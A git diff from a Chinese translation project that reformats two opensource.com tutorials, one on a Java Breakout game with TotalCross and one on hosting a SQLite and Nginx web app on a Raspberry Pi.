final int SPEED = 4; + +  public Paddle() throws IllegalArgumentException, IllegalStateException, ImageException { +    super(Images.paddle, -1, true, null); +  } + +  //Move the platform according the speed and the direction +  public final void move(boolean left, int speed) { +    if (left) { +      centerX -= SPEED; +    } else { +      centerX += SPEED; +    } + +    setPos(centerX, centerY, true); +  } +} +``` + +You indicate the image (`Images.paddle` ) within the constructor, and the `move` method (a TotalCross feature) receives the speed defined at the beginning of the class. Experiment with other values and observe what happens with the movement. + +When the paddle is moving to the left, the center of the paddle at any moment is defined as itself minus the speed, and when it's moving to the right, it's itself plus the speed. Ultimately, you define the position of the sprite on the screen. + +Now your sprite is ready, so you need to add it on the screen and include the user's movement to call the `move` method and create movement. Do this in your main class, `Breakout.java`. + +#### Add onscreen and user interaction + +When building your game engine, you need to focus on some standard points. For the sake of brevity, I'll add comments in the code. + +Basically, you will delete the automatically generated `initUI()` method and, instead of inheriting from `MainWindow`, you will inherit it from `GameEngine`. A "red" will appear in the name of your class, so just click on the lamp or the suggestion symbol for your IDE and click `Add unimplemented methods`. This will automatically generate the `onGameInit()` method, which is responsible for the moment when the game starts, i.e., the moment the `breakout` class is called. + +Inside the constructor, you must add the style type (`MaterialUI` ) and the refresh time on the screen (`70` ), and signal that the game has an interface (`gameHasUI = true;` ). + +Last but not least, you have to start the game through `this.start()` on `onGameInit()` and focus on some other methods: + +* onGameInit() is the first method called. In it, you must initialize the sprites and images (Images.loadImages), and tell the game that it can start. +* onGameStart()is called when the game starts. It sets the platform's initial position (in the center of the screen on the X-axis and below the center with a border on the Y-axis). +* onPaint() is where you say what will be drawn for each frame. First, it paints the background black (to not leave traces of the sprites), then it displays the sprites with `.show()`. +* The `onPenDrag` and `onPenDown` methods identify when the user `move`s the paddle (by dragging a finger on a touch screen or moving the mouse while pressing the left button). These methods change the paddle movement through the `setPos()` method, which triggers the move method in the `Paddle.java` class. Note that the last parameter of the `racket.setPos` method is `true` to precisely limit the paddle's movement within the screen so that it never disappears from the user's field of view. + +``` +package com.totacross; + +import com.totacross.sprites.Paddle; +import com.totacross.util.Colors; +import com.totacross.util.Constants; +import com.totacross.util.Images; + +import totalcross.game.GameEngine; +import totalcross.sys.Settings; +import totalcross.ui.MainWindow; +import totalcross.ui.dialog.MessageBox; +import totalcross.ui.event.PenEvent; +import totalcross.ui.gfx.Graphics; + +public class Breakout extends GameEngine { + +    private Paddle racket; + +    public Breakout() { +        setUIStyle(Settings.MATERIAL_UI); +        gameName = "Breakout"; +        gameVersion = 100; +        gameHasUI = true; +        gameRefreshPeriod = 70; + +    } + +    @Override +    public void onGameInit() { +        setBackColor(Colors.PRIMARY); +        Images.loadImages(); + +        try { +            racket = new Paddle(); + +        } catch (Exception e) { +            MessageBox.showException(e, true); +            MainWindow.exit(0); +        } +        this.start(); +    } +    public void onGameStart() { +        racket.setPos(Settings.screenWidth / 2, (Settings.screenHeight - racket.height) - Constants.EDGE_RACKET, true); +    } + +     //to draw the interface +     @Override +     public void onPaint(Graphics g) { +         super.onPaint(g); +         if (gameIsRunning) { +             g.backColor = Colors.PRIMARY; +             g.fillRect(0, 0, this.width, this.height); + +             if (racket != null) { +                 racket.show(); +             } +         } +     } +     //To make the paddle moving with the mouse/press moviment +     @Override +     public final void onPenDown(PenEvent evt) { +         if (gameIsRunning) { +             racket.setPos(evt.x, racket.centerY, true); +         } +     } + +     @Override +     public final void onPenDrag(PenEvent evt) { +         if (gameIsRunning) { +             racket.setPos(evt.x, racket.centerY, true); +         } +     } +} +``` + +### Run the game + +To run the game, just click `RunBreakoutApplication.java` with the right mouse button, then click `run` to see how it looks. + +![Breakout game remake][22] + +If you want to run it on a Raspberry Pi, change the parameters in the `RunBreakoutApplication.java` class to: + +``` +TotalCrossApplication.run(Breakout.class, "/scr", "848x480"); +``` + +This sets the screen size to match the Raspberry Pi. + +![Breakout on Raspberry Pi][23] + +The first sprite and game mechanics are ready! + +### Next steps + +In the next article, I'll show how to add the ball sprite and make collisions. If you need help, call me in the [community group][24] on Telegram or post in the TotalCross [forum][25], where I'm available to help. + +If you put this article into practice, share your experience in the comments. All feedback is important! If you wish, favorite [TotalCross on GitHub][26], as it improves the project's relevance on the platform. + +Image by: (Vaneska Karen, CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/java-object-orientation + +作者:[Vaneska Sousa][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/vaneska +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/studying-books-java-couch-education.png +[2]: https://www.wocintechchat.com/ +[3]: https://creativecommons.org/licenses/by/2.0/ +[4]: https://www.youtube.com/watch?v=Cr6z3AyhRr8 +[5]: https://opensource.com/sites/default/files/uploads/originalbreakout.gif +[6]: https://processing.org/ +[7]: https://opensource.com/resources/java +[8]: https://opensource.com/article/20/7/totalcross-cross-platform-development +[9]: https://www.arm.linux.org.uk/docs/whatis.php +[10]: https://opensource.com/resources/raspberry-pi +[11]: https://opensource.com/sites/default/files/uploads/breakoutremake.gif +[12]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross +[13]: https://www.redhat.com/en/topics/middleware/what-is-ide +[14]: https://opensource.com/sites/default/files/uploads/helloworld.png +[15]: https://learn.totalcross.com/ +[16]: https://t.me/guiforembedded +[17]: https://opensource.com/sites/default/files/uploads/projectstructure.png +[18]: https://learn.totalcross.com/documentation/guides/app-architecture/colors-fonts-and-images +[19]: https://material.io/design/layout/pixel-density.html +[20]: https://opensource.com/sites/default/files/uploads/projectstructure2.png +[21]: https://en.wikipedia.org/wiki/Javadoc +[22]: https://opensource.com/sites/default/files/uploads/runbreakout.gif +[23]: https://opensource.com/sites/default/files/uploads/runbreakout2.gif +[24]: https://t.me/guiforembedded +[25]: http://forum.totalcross.com +[26]: https://github.com/totalcross/totalcross diff --git a/sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md b/sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md deleted file mode 100644 index 121fe21b62..0000000000 --- a/sources/tech/20210302 Learn Java with object orientation by building a classic Breakout game.md +++ /dev/null @@ -1,409 +0,0 @@ -[#]: subject: (Learn Java with object orientation by building a classic Breakout game) -[#]: via: (https://opensource.com/article/21/3/java-object-orientation) -[#]: author: (Vaneska Sousa https://opensource.com/users/vaneska) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Learn Java with object orientation by building a classic Breakout game -====== -Practice how to structure a project and write Java code while having fun -building a fun game. -![Learning and studying technology is the key to success][1] - -As a second-semester student in systems and digital media at the Federal University of Ceará in Brazil, I was given the assignment to remake the classic Atari 2600 [Breakout game][2] from 1978. I am still in my infancy in learning software development, and this was a challenging experience. It was also a gainful one because I learned a lot, especially about applying object-oriented concepts. - -![Breakout game][3] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -I'll explain how I accomplished this challenge, and if you follow the step-by-step instructions, at the end of this article, you will have the first pieces of your own classic Breakout game. - -### Choosing Java and TotalCross - -Several of my courses use [Processing][5], a software engine that uses [Java][6]. Java is a great language for learning programming concepts, in part because it's a strongly typed language. - -Despite being free to choose any language or framework for my Breakout project, I chose to continue in Java to apply what I've learned in my coursework. I also wanted to use a framework so that I did not need to do everything from scratch. I considered using Godot, but that would mean I would hardly need to program at all. - -Instead, I chose [TotalCross][7]. It is an open source software development kit (SDK) and framework with a simple game engine that generates code for [Linux Arm][8] devices (like the Raspberry Pi) and smartphones. Also, because I work for TotalCross, I have access to developers with much more experience than I have and know the platform very well. It seemed to be the safest way and, despite some strife, I don't regret it one bit. It was very cool to develop the whole project and see it running on the phone and the [Raspberry Pi][9]. - -![Breakout remake][10] - -Breakout remake built with Java and TotalCross running on Raspberry Pi 3 Model B. (Vaneska Karen, [CC BY-SA 4.0][4]) - -### Define the project mechanics and structure - -When starting to develop any application, and especially a game, you need to consider the main features or mechanics that will be implemented. I watched the original Breakout gameplay a few times and played some versions on the internet. Then I defined the game mechanics and project structure based on what I learned. - -#### Game mechanics - - 1. The platform moves left or right, according to the user's command. When it reaches an end, it hits the "wall" (edge). - 2. When the ball hits the platform, it returns in the opposite direction it came from. - 3. Each time the ball hits a "brick" (blue, green, yellow, orange, or red), the brick disappears. - 4. When all the bricks in level 01 have been destroyed, new ones appear (in the same position as the previous one), and the ball's speed increases. - 5. When all the bricks in level 02 have been destroyed, the game continues without obstacles on the screen. - 6. The game ends when the ball falls. - - - -#### Project structure - - * `RunBreakoutApplication.java` is the class responsible for calling the class that inherits the `GameEngine` and runs the simulator. - * `Breakout.java` is the main class, which inherits from the `GameEngine` class and "assembles" the game, where it will call objects, define positions, etc. - * The `sprites` package is where all the classes responsible for the sprites (e.g., the image and behavior of the blocks, platform, and ball) go. - * The `util` packages contain classes used to facilitate project maintenance, such as constants, image initialization, and colors. - - - -### Get hands-on with code - -First, install the [TotalCross plugin from VSCode][11]. If you are using another [integrated development environment][12] (IDE), check TotalCross's documentation for installation instructions.  - -If you're using the plugin, just press `Ctrl`+`P`, type `totalcross`, and click `Create new project`. Fill in the requested information: - - * `Folder name:` gameTC - * `ArtifactId:` com.totalcross - * `Project name:` Breakout - * `TotalCross version:` 6.1.1 (or the most recent one) - * `Build platforms:` -Android and -Linux_arm (select the platforms you want) - - - -When filling in the fields above and generating the project, if you are in the `RunBreakoutApplication.java` class, right-clicking on it and clicking "run" will open the simulator, and "Hello World!" will appear on your screen if you have created your Java project with TotalCross properly. - -![HelloWorld project structure][13] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -If you have a problem, check the [documentation][14] or ask the [TotalCross community][15] on Telegram for help. - -After the project is configured, the next step is to add the project's images in `Resources` > `Sprites`. Create two packages named `util` and `sprites` to work on later. - -The structure of your project will be: - -![Project structure][16] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -### Go behind the scenes - -To make it easier to maintain the code and change the images to the colors you want to use, it's a good practice to [centralize everything by creating classes][17]. Place all of the classes for this function inside the `util` package. - -#### Constants.java - -First, create the `constants.java` class, which is where placement patterns (such as the edge between the screen and where the platform starts), speed, number of blocks, etc., reside. This is good for playing, changing numbers, and understanding where things change and why. It is a great exercise for those just starting with Java. - - -``` -package com.totacross.util; - -import totalcross.sys.Settings; -import totalcross.ui.Control; -import totalcross.util.UnitsConverter; - -public class Constants { -    //Position -    public static final int BOTTOM_EDGE = UnitsConverter.toPixels(430 + [Control][18].DP); -    public static final int DP_23 = UnitsConverter.toPixels(23 + [Control][18].DP); -    public static final int DP_50 = UnitsConverter.toPixels(50 + [Control][18].DP); -    public static final int DP_100 = UnitsConverter.toPixels(100 + [Control][18].DP); - -    //Sprites -    public static final int EDGE_RACKET = UnitsConverter.toPixels(20 + [Control][18].DP); -    public static final int WIDTH_BALL =  UnitsConverter.toPixels(15 + [Control][18].DP); -    public static final int HEIGHT_BALL =  UnitsConverter.toPixels(15 + [Control][18].DP); - -    //Bricks -    public static final int NUM_BRICKS = 10; -    public static final int WIDTH_BRICKS = Settings.screenWidth / NUM_BRICKS; -    public static final int HEIGHT_BRICKS = Settings.screenHeight / 32; - -    //Brick Points -    public static final int BLUE_POINT = 1; -    public static final int GREEN_POINT = 2; -    public static final int YELLOW_POINT = 3; -    public static final int DARK_ORANGE_POINT = 4; -    public static final int ORANGE_POINT = 5; -    public static final int RED_POINT = 6; -} -``` - -If you want to know more about the pixel density (DP) unit, I recommend reading the [Material Design description][19]. - -#### Colors.java - -As the name suggests, this class is where you define the colors used in the game. I recommend naming things according to the color's purpose, such as background, font color, etc. This will make it easier to update your project's color palette in a single class. - - -``` -package com.totacross.util; - -public class Colors { -    public static int PRIMARY = 0x161616; -    public static int P_FONT = 0xFFFFFF; -    public static int SECONDARY = 0xE63936; -    public static int SECONDARY_DARK = 0xCE3737; -} -``` - -#### Images.java - -The `images.java` class is undoubtedly the most frequently used. - - -``` -package com.totacross.util; - -import static com.totacross.util.Constants.*; -import totalcross.ui.dialog.MessageBox; -import totalcross.ui.image.Image; - -public class Images { - -    public static [Image][20] paddle, ball; -    public static [Image][20] red, orange, dark_orange, yellow, green, blue; - -    public static void loadImages() { -        try { -            // general -            paddle = new [Image][20]("sprites/paddle.png"); -            ball = new [Image][20]("sprites/ball.png").getScaledInstance(WIDTH_BALL, HEIGHT_BALL); - -            // Bricks -            red = new [Image][20]("sprites/red_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            orange = new [Image][20]("sprites/orange_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            dark_orange = new [Image][20]("sprites/orange2_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            yellow = new [Image][20]("sprites/yellow_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            green = new [Image][20]("sprites/green_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); -            blue = new [Image][20]("sprites/blue_brick.png").getScaledInstance(WIDTH_BRICKS, HEIGHT_BRICKS); - -        } catch ([Exception][21] e) { -            MessageBox.showException(e, true); -        } -    } -} -``` - -The `getScaledInstance()` method will manipulate the image to match the values passed through the constant. Try to change these values and observe the impact on the game. - -#### Recap - -At this point, your project should look like this: - -![Project structure][22] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -### Create your first sprite - -Now that the project is structured properly, you're ready to create your first class in the sprite package: `paddle.java`, which is the platform—the user's object of interaction. - -#### Paddle.java - -The `paddle.java` class must inherit from `sprite`, which is the class responsible for objects in games. This is a fundamental concept in game engine development, so when inheriting from sprites, the TotalCross framework will already be concerned with delimiting movement within the screen, detecting collisions between sprites, and other important functions. You can check all the details in [Javadoc][23]. - -In Breakout, the paddle moves on the X-axis at a speed determined by the user's command (by touch screen or mouse movement). The `paddle.java` class is responsible for defining this movement and the sprite's image (the "face"): - - -``` -package com.totacross.sprites; - -import com.totacross.util.Images; - -import totalcross.game.Sprite; -import totalcross.ui.image.ImageException; - -public class Paddle extends Sprite { -  private static final int SPEED = 4; - -  public Paddle() throws [IllegalArgumentException][24], [IllegalStateException][25], ImageException { -    super(Images.paddle, -1, true, null); -  } - -  //Move the platform according the speed and the direction -  public final void move(boolean left, int speed) { -    if (left) { -      centerX -= SPEED; -    } else { -      centerX += SPEED; -    } - -    setPos(centerX, centerY, true); -  } -} -``` - -You indicate the image (`Images.paddle`) within the constructor, and the `move` method (a TotalCross feature) receives the speed defined at the beginning of the class. Experiment with other values and observe what happens with the movement. - -When the paddle is moving to the left, the center of the paddle at any moment is defined as itself minus the speed, and when it's moving to the right, it's itself plus the speed. Ultimately, you define the position of the sprite on the screen. - -Now your sprite is ready, so you need to add it on the screen and include the user's movement to call the `move` method and create movement. Do this in your main class, `Breakout.java`. - -#### Add onscreen and user interaction - -When building your game engine, you need to focus on some standard points. For the sake of brevity, I'll add comments in the code. - -Basically, you will delete the automatically generated `initUI()` method and, instead of inheriting from `MainWindow`, you will inherit it from `GameEngine`. A "red" will appear in the name of your class, so just click on the lamp or the suggestion symbol for your IDE and click `Add unimplemented methods`. This will automatically generate the `onGameInit()` method, which is responsible for the moment when the game starts, i.e., the moment the `breakout` class is called. - -Inside the constructor, you must add the style type (`MaterialUI`) and the refresh time on the screen (`70`), and signal that the game has an interface (`gameHasUI = true;`). - -Last but not least, you have to start the game through `this.start()` on `onGameInit()` and focus on some other methods: - - * `onGameInit()` is the first method called. In it, you must initialize the sprites and images (`Images.loadImages`), and tell the game that it can start. - * `onGameStart()`is called when the game starts. It sets the platform's initial position (in the center of the screen on the X-axis and below the center with a border on the Y-axis). - * `onPaint()` is where you say what will be drawn for each frame. First, it paints the background black (to not leave traces of the sprites), then it displays the sprites with `.show()`. - * The `onPenDrag` and `onPenDown` methods identify when the user moves the paddle (by dragging a finger on a touch screen or moving the mouse while pressing the left button). These methods change the paddle movement through the `setPos()` method, which triggers the `move` method in the `Paddle.java` class. Note that the last parameter of the `racket.setPos` method is `true` to precisely limit the paddle's movement within the screen so that it never disappears from the user's field of view. - - - - -``` -package com.totacross; - -import com.totacross.sprites.Paddle; -import com.totacross.util.Colors; -import com.totacross.util.Constants; -import com.totacross.util.Images; - -import totalcross.game.GameEngine; -import totalcross.sys.Settings; -import totalcross.ui.MainWindow; -import totalcross.ui.dialog.MessageBox; -import totalcross.ui.event.PenEvent; -import totalcross.ui.gfx.Graphics; - -public class Breakout extends GameEngine { - -    private Paddle racket; - -    public Breakout() { -        setUIStyle(Settings.MATERIAL_UI); -        gameName = "Breakout"; -        gameVersion = 100; -        gameHasUI = true; -        gameRefreshPeriod = 70; - -    } - -    @Override -    public void onGameInit() { -        setBackColor(Colors.PRIMARY); -        Images.loadImages(); - -        try { -            racket = new Paddle(); - -        } catch ([Exception][21] e) { -            MessageBox.showException(e, true); -            MainWindow.exit(0); -        } -        this.start(); -    } -    public void onGameStart() { -        racket.setPos(Settings.screenWidth / 2, (Settings.screenHeight - racket.height) - Constants.EDGE_RACKET, true); -    } - -     //to draw the interface -     @Override -     public void onPaint([Graphics][26] g) { -         super.onPaint(g); -         if (gameIsRunning) { -             g.backColor = Colors.PRIMARY; -             g.fillRect(0, 0, this.width, this.height); - -             if (racket != null) { -                 racket.show(); -             } -         } -     } -     //To make the paddle moving with the mouse/press moviment -     @Override -     public final void onPenDown(PenEvent evt) { -         if (gameIsRunning) { -             racket.setPos(evt.x, racket.centerY, true); -         } -     } - -     @Override -     public final void onPenDrag(PenEvent evt) { -         if (gameIsRunning) { -             racket.setPos(evt.x, racket.centerY, true); -         } -     } -} -``` - -### Run the game - -To run the game, just click `RunBreakoutApplication.java` with the right mouse button, then click `run` to see how it looks. - -![Breakout game remake on phone][27] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -If you want to run it on a Raspberry Pi, change the parameters in the `RunBreakoutApplication.java` class to: - - -``` -`        TotalCrossApplication.run(Breakout.class, "/scr", "848x480");` -``` - -This sets the screen size to match the Raspberry Pi. - -![Breakout on Raspberry Pi][28] - -(Vaneska Karen, [CC BY-SA 4.0][4]) - -The first sprite and game mechanics are ready! - -### Next steps - -In the next article, I'll show how to add the ball sprite and make collisions. If you need help, call me in the [community group][15] on Telegram or post in the TotalCross [forum][29], where I'm available to help. - -If you put this article into practice, share your experience in the comments. All feedback is important! If you wish, favorite [TotalCross on GitHub][30], as it improves the project's relevance on the platform. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/java-object-orientation - -作者:[Vaneska Sousa][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/vaneska -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/studying-books-java-couch-education.png?itok=C9gasCXr (Learning and studying technology is the key to success) -[2]: https://www.youtube.com/watch?v=Cr6z3AyhRr8 -[3]: https://opensource.com/sites/default/files/uploads/originalbreakout.gif (Breakout game) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://processing.org/ -[6]: https://opensource.com/resources/java -[7]: https://opensource.com/article/20/7/totalcross-cross-platform-development -[8]: https://www.arm.linux.org.uk/docs/whatis.php -[9]: https://opensource.com/resources/raspberry-pi -[10]: https://opensource.com/sites/default/files/uploads/breakoutremake.gif (Breakout remake) -[11]: https://marketplace.visualstudio.com/items?itemName=totalcross.vscode-totalcross -[12]: https://www.redhat.com/en/topics/middleware/what-is-ide -[13]: https://opensource.com/sites/default/files/uploads/helloworld.png (HelloWorld project structure) -[14]: https://learn.totalcross.com/ -[15]: https://t.me/guiforembedded -[16]: https://opensource.com/sites/default/files/uploads/projectstructure.png (Project structure) -[17]: https://learn.totalcross.com/documentation/guides/app-architecture/colors-fonts-and-images -[18]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+control -[19]: https://material.io/design/layout/pixel-density.html -[20]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+image -[21]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+exception -[22]: https://opensource.com/sites/default/files/uploads/projectstructure2.png (Project structure) -[23]: https://en.wikipedia.org/wiki/Javadoc -[24]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalargumentexception -[25]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+illegalstateexception -[26]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+graphics -[27]: https://opensource.com/sites/default/files/uploads/runbreakout.gif (Breakout game remake on phone) -[28]: https://opensource.com/sites/default/files/uploads/runbreakout2.gif (Breakout on Raspberry Pi) -[29]: http://forum.totalcross.com -[30]: https://github.com/totalcross/totalcross diff --git a/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md b/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md index 805f04dafa..dbd7837991 100644 --- a/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md +++ b/sources/tech/20210303 Host your website with dynamic content and a database on a Raspberry Pi.md @@ -1,50 +1,44 @@ -[#]: subject: (Host your website with dynamic content and a database on a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/web-hosting-raspberry-pi) -[#]: author: (Marty Kalin https://opensource.com/users/mkalindepauledu) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: subject: "Host your website with dynamic content and a database on a Raspberry Pi" +[#]: via: "https://opensource.com/article/21/3/web-hosting-raspberry-pi" +[#]: author: "Marty Kalin https://opensource.com/users/mkalindepauledu" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Host your website with dynamic content and a database on a Raspberry Pi ====== -You can use free software to support a web application on a very -lightweight computer. +You can use free software to support a web application on a very lightweight computer. + ![Digital creative of a browser on the internet][1] Raspberry Pi's single-board machines have set the mark for cheap, real-world computing. With its model 4, the Raspberry Pi can host web applications with a production-grade web server, a transactional database system, and dynamic content through scripting. This article explains the installation and configuration details with a full code example. Welcome to web applications hosted on a very lightweight computer. ### The snowfall application -Imagine a downhill ski area large enough to have microclimates, which can mean dramatically different snowfalls across the area. The area is divided into regions, each of which has devices that record snowfall in centimeters; the recorded information then guides decisions on snowmaking, grooming, and other maintenance operations. The devices communicate, say, every 20 minutes with a server that updates a database that supports reports. Nowadays, the server-side software for such an application can be free _and_ production-grade. +Imagine a downhill ski area large enough to have microclimates, which can mean dramatically different snowfalls across the area. The area is divided into regions, each of which has devices that record snowfall in centimeters; the recorded information then guides decisions on snowmaking, grooming, and other maintenance operations. The devices communicate, say, every 20 minutes with a server that updates a database that supports reports. Nowadays, the server-side software for such an application can be free *and* production-grade. This snowfall application uses the following technologies: - * A [Raspberry Pi 4][2] running Debian - * Nginx web server: The free version hosts over 400 million websites. This web server is easy to install, configure, and use. - * [SQLite relational database system][3], which is file-based: A database, which can hold many tables, is a file on the local system. SQLite is lightweight but also [ACID-compliant][4]; it is suited for low to moderate volume. SQLite is likely the most widely used database system in the world, and the source code for SQLite is in the public domain. The current version is 3. A more powerful (but still free) option is PostgreSQL. - * Python: The Python programming language can interact with databases such as SQLite and web servers such as Nginx. Python (version 3) comes with Linux and macOS systems. - - +* A [Raspberry Pi 4][2] running Debian +* Nginx web server: The free version hosts over 400 million websites. This web server is easy to install, configure, and use. +* [SQLite relational database system][3], which is file-based: A database, which can hold many tables, is a file on the local system. SQLite is lightweight but also [ACID-compliant][4]; it is suited for low to moderate volume. SQLite is likely the most widely used database system in the world, and the source code for SQLite is in the public domain. The current version is 3. A more powerful (but still free) option is PostgreSQL. +* Python: The Python programming language can interact with databases such as SQLite and web servers such as Nginx. Python (version 3) comes with Linux and macOS systems. Python includes a software driver for communicating with SQLite. There are options for connecting Python scripts with Nginx and other web servers. One option is [uWSGI][5] (Web Server Gateway Interface), which updates the ancient CGI (Common Gateway Interface) from the 1990s. Several factors speak for uWSGI: - * uWSGI is flexible. It can be used as either a lightweight concurrent web server or the backend application server connected to a web server such as Nginx. - * Its setup is minimal. - * The snowfall application involves a low to moderate volume of hits on the web server and database system. In general, CGI technologies are not fast by modern standards, but CGI performs well enough for department-level web applications such as this one. - - +* uWSGI is flexible. It can be used as either a lightweight concurrent web server or the backend application server connected to a web server such as Nginx. +* Its setup is minimal. +* The snowfall application involves a low to moderate volume of hits on the web server and database system. In general, CGI technologies are not fast by modern standards, but CGI performs well enough for department-level web applications such as this one. Various acronyms describe the uWSGI option. Here's a sketch of the three principal ones: - * **WSGI** is a Python specification for an interface between a web server on one side, and an application or an application framework (e.g., Django) on the other side. This specification defines an API whose implementation is left open. - * **uWSGI** implements the WSGI interface by providing an application server, which connects applications to a web server. A uWSGI application server's main job is to translate HTTP requests into a format that a web application can consume and, afterward, to format the application's response into an HTTP message. - * **uwsgi** is a binary protocol implemented by a uWSGI application server to communicate with a full-featured web server such as Nginx; it also includes utilities such as a lightweight web server. The Nginx web server "speaks" uwsgi out of the box. - - +* WSGI is a Python specification for an interface between a web server on one side, and an application or an application framework (e.g., Django) on the other side. This specification defines an API whose implementation is left open. +* uWSGI implements the WSGI interface by providing an application server, which connects applications to a web server. A uWSGI application server's main job is to translate HTTP requests into a format that a web application can consume and, afterward, to format the application's response into an HTTP message. +* uwsgi is a binary protocol implemented by a uWSGI application server to communicate with a full-featured web server such as Nginx; it also includes utilities such as a lightweight web server. The Nginx web server "speaks" uwsgi out of the box. For convenience, I will use "uwsgi" as shorthand for the binary protocol, the application server, and the very lightweight web server. @@ -52,33 +46,29 @@ For convenience, I will use "uwsgi" as shorthand for the binary protocol, the ap On a Debian-based system, you can install SQLite the usual way (with `%` representing the command-line prompt): - ``` -`% sudo apt-get install sqlite3` +% sudo apt-get install sqlite3 ``` This database system is a collection of C libraries and utilities, all of which come to about 500KB in size. There is no database server to start, stop, or otherwise maintain. Once SQLite is installed, create a database at the command-line prompt: - ``` -`% sqlite3 snowfall.db` +% sqlite3 snowfall.db ``` If this succeeds, the command creates the file `snowfall.db` in the current working directory. The database name is arbitrary (e.g., no extension is required), and the command opens the SQLite client utility with `>sqlite` as the prompt: - ``` Enter ".help" for usage hints. -sqlite> +sqlite> ``` Create the snowfall table in the snowfall database with the following command. The table name, like the database name, is arbitrary: - ``` -sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT, +sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT,                                region TEXT NOT NULL,                                device TEXT NOT NULL,                                amount DECIMAL NOT NULL, @@ -87,9 +77,8 @@ sqlite> CREATE TABLE snowfall (id INTEGER PRIMARY KEY AUTOINCREMENT, SQLite commands are case-insensitive, but it is traditional to use uppercase for SQL terms and lowercase for user terms. Check that the table was created: - ``` -`sqlite> .schema` +sqlite> .schema ``` The command echoes the `CREATE TABLE` statement. @@ -100,10 +89,9 @@ The database is now ready for business, although the single-table snowfall is em Recall that uwsgi can be used in two ways: either as a lightweight web server or as an application server connected to a production-grade web server such as Nginx. The second use is the goal, but the first is suited for developing and testing the programmer's request-handling code. Here's the architecture with Nginx in play as the web server: - ``` -       HTTP       uwsgi -client<\---->Nginx<\----->appServer<\--->request-handling code<\--->SQLite +HTTP       uwsgi +client<---->Nginx<----->appServer<--->request-handling code<--->SQLite ``` The client could be a browser, a utility such as [curl][6], or a hand-crafted program fluent in HTTP. Communications between the client and Nginx occur through HTTP, but then uwsgi takes over as a binary-transport protocol between Nginx and the application server, which interacts with request-handling code such as `requestHandler.py` (described below). This architecture delivers a clean division of labor. Nginx alone manages the client, and only the request-handling code interacts with the database. In turn, the application server separates the web server from the programmer-written code, which has a high-level API to read and write HTTP messages delivered over uwsgi. @@ -116,7 +104,6 @@ Below is the source code file `requestHandler.py` for the snowfall application. #### The request-handling program - ``` import sqlite3 import cgi @@ -127,7 +114,7 @@ PATH_2_DB = '/home/marty/wsgi/snowfall.db' def application(env, start_line):     if env['REQUEST_METHOD'] == 'POST':   ## add new DB record         return handle_post(env, start_line) -    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report +    elif env['REQUEST_METHOD'] == 'GET':  ## create HTML-fragment report         return handle_get(start_line)     else:                                 ## no other option for now         start_line('405 METHOD NOT ALLOWED', [('Content-Type', 'text/plain')]) @@ -136,7 +123,7 @@ def application(env, start_line): def handle_post(env, start_line):         form = get_field_storage(env)  ## body of an HTTP POST request -    +        ## Extract fields from POST form.     region = form.getvalue('region')     device = form.getvalue('device') @@ -162,19 +149,19 @@ def handle_get(start_line):     cursor = conn.cursor()                   ## get a cursor     cursor.execute("select * from snowfall") -    response_body = "<h3>Snowfall report</h3><ul>" +    response_body = "

Snowfall report

    "     rows = cursor.fetchall()     for row in rows: -        response_body += "<li>" + str(row[0]) + '|'  ## primary key +        response_body += "
  • " + str(row[0]) + '|'  ## primary key         response_body += row[1] + '|'                ## region         response_body += row[2] + '|'                ## device         response_body += str(row[3]) + '|'           ## amount -        response_body += str(row[4]) + "</li>"       ## timestamp -    response_body += "</ul>" +        response_body += str(row[4]) + "
  • "       ## timestamp +    response_body += "
